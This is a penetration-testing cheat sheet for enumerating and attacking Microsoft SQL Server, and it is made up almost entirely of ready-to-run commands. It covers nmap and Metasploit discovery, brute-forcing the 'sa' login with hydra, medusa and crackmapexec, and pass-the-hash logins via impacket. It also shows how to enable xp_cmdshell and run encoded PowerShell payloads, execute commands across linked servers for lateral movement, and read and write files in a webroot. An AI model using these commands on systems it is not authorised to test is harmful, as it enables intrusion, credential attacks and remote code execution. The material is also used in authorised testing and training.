MSSQL Enumeration Cheatsheet

Default Ports: 1433 (TCP), 1434 (UDP — SQL Server Browser)


Discovery & Nmap Scripts

nmap -p 1433 --script ms-sql-info <ip>
nmap -p 1433 --script ms-sql-config <ip>
nmap -p 1433 --script ms-sql-empty-password <ip>
nmap -p 1433 --script ms-sql-brute <ip>
nmap -sU -p 1434 --script ms-sql-dac <ip>     # Discover dynamic ports via UDP
nmap -p 1433 --script ms-sql-* <ip>            # All MSSQL scripts

Metasploit Modules

use auxiliary/scanner/mssql/mssql_ping        # Discovery + version
use auxiliary/scanner/mssql/mssql_login       # Brute force auth
use auxiliary/admin/mssql/mssql_sql           # Execute SQL query
use auxiliary/admin/mssql/mssql_exec          # OS command execution (xp_cmdshell)
use auxiliary/admin/mssql/mssql_enum          # Full enumeration
use auxiliary/admin/mssql/mssql_enum_sql_logins  # Enumerate SQL logins

mssqlclient.py (impacket)

# Connect with SQL auth
python3 mssqlclient.py <user>:<pass>@<ip>

# Connect with Windows auth
python3 mssqlclient.py <domain>/<user>:<pass>@<ip> -windows-auth

# Connect with hash (Pass-the-Hash)
python3 mssqlclient.py <domain>/<user>@<ip> -hashes :<nthash> -windows-auth

Useful SQL Queries

-- Version and user info
SELECT @@version;
SELECT system_user;
SELECT user_name();
SELECT DB_NAME();

-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_MEMBER('db_owner');

-- List databases
SELECT name FROM sys.databases;
USE <database>;
SELECT table_name FROM information_schema.tables;

-- List users and roles
SELECT name, type_desc FROM sys.server_principals;
SELECT name FROM sys.syslogins;
SELECT roles.name FROM sys.server_role_members
  JOIN sys.server_principals AS roles ON roles.principal_id = server_role_members.role_principal_id
  JOIN sys.server_principals AS members ON members.principal_id = server_role_members.member_principal_id
  WHERE members.name = '<user>';

xp_cmdshell (OS Command Execution)

-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Run commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'powershell -enc <base64payload>';

Linked Servers (Lateral Movement)

-- Enumerate linked servers
SELECT * FROM sys.servers;
EXEC sp_linkedservers;

-- Execute query on linked server
EXECUTE('SELECT @@version') AT [<linked_server>];
EXECUTE('SELECT system_user') AT [<linked_server>];

-- Execute OS command via linked server
EXECUTE('EXEC xp_cmdshell ''whoami''') AT [<linked_server>];

Brute Force

hydra -l sa -P wordlist.txt mssql://<ip>
medusa -h <ip> -u sa -P wordlist.txt -M mssql
crackmapexec mssql <ip> -u <user> -p wordlist.txt

File Read / Write

-- Read file (via BULK INSERT or OPENROWSET)
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS t;

-- Write file (via xp_cmdshell)
EXEC xp_cmdshell 'echo hacked > C:\inetpub\wwwroot\shell.txt';